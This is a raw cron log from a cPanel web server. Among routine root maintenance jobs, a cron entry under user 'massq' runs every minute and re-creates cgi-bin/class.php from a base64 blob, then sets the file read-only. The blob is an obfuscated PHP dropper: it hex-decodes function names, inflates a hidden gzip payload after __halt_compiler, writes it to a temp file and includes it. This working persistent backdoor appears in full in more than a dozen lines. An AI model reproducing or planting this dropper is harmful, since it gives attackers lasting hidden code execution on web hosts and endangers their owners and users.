Sep  7 05:32:01 server CROND[3945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:32:01 server CROND[3946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:32:01 server CROND[3947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:33:01 server CROND[4341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:33:01 server CROND[4342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:33:01 server CROND[4343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:34:01 server CROND[4717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:34:01 server CROND[4718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:34:01 server CROND[4719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:35:01 server CROND[5210]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:35:01 server CROND[5211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:35:01 server CROND[5213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:35:01 server CROND[5215]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:35:01 server CROND[5216]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 05:35:01 server CROND[5227]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:35:01 server CROND[5228]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 05:35:01 server CROND[5229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:35:01 server CROND[5230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:36:01 server CROND[6061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:36:01 server CROND[6062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:36:01 server CROND[6063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:37:01 server CROND[6437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:37:01 server CROND[6438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:37:01 server CROND[6439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:38:01 server CROND[6825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:38:01 server CROND[6826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:38:01 server CROND[6827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:39:01 server CROND[7204]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 05:39:01 server CROND[7205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:39:01 server CROND[7207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:39:01 server CROND[7206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:40:01 server CROND[7702]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:40:01 server CROND[7705]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:40:01 server CROND[7710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:40:01 server CROND[7708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:40:01 server CROND[7706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:40:01 server CROND[7712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:40:01 server CROND[7704]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:40:01 server CROND[7709]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:41:02 server CROND[8597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:41:02 server CROND[8598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:41:02 server CROND[8599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:42:01 server CROND[8974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:42:01 server CROND[8975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:42:01 server CROND[8976]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 05:42:01 server CROND[8977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:43:01 server CROND[9364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:43:01 server CROND[9363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:43:01 server CROND[9365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
